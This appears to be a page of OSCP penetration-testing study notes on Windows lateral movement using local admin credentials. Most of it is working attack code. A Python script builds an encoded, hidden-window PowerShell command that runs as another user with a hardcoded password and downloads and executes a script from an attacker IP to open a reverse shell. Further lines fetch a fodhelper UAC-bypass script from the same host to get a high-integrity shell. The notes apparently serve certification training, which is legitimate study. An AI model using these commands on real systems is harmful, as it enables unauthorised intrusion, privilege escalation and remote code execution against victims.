> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/local-admin-lateral-movement.md).
# Local Admin Lateral Movement
Useful if unable to PsExec, RDP, WINRM, but has local admin creds and low-privileged shell
**ps\_script.py**
* Edit lines 5-6 to be local admin creds
* Edit line 8 for attacker's IP for simple\_ps\_revshell
{% code lineNumbers="true" %}
```python
import base64
# Prepare the corrected PowerShell payload script to run as Bill
payload = (
"$p=ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force; "
"$c=New-Object System.Management.Automation.PSCredential('client02\\bill',$p); "
"Start-Process -FilePath 'powershell.exe' -ArgumentList "
"'-NoProfile -ExecutionPolicy Bypass -Command iex (New-Object Net.WebClient).DownloadString(''http://192.168.45.218/runall.ps1'')' "
"-Credential $c -WindowStyle Hidden"
)
# Encode the payload in UTF-16LE and then Base64
b64 = base64.b64encode(payload.encode('utf-16le')).decode('ascii')
# Construct the final one-liner for execution
one_liner = f"powershell.exe -NoProfile -NonInteractive -EncodedCommand {b64}"
# Display the one-liner
print(one_liner)
```
{% endcode %}
python ps\_script.py
Then paste the encoded powershell command in the low privileged shell
This is normal!
Might obtain a medium integrity shell only (checked using `whoami /all`)
[Bypass UAC using fodhelper.ps1](/oscp-notes/privilege-escalation/privilege-escalation-windows.md#user-in-local-group-with-admin-privileges-uac-bypass)
```
iex (new-object net.webclient).downloadstring('http://192.168.45.218/FodhelperBypass.ps1')
# Edit IP and port in simple_ps_revshell.ps1
FodhelperBypass -program "powershell -c iex (new-object net.webclient).downloadstring('http://192.168.45.218/runall.ps1')"
```
Obtained high integrity shell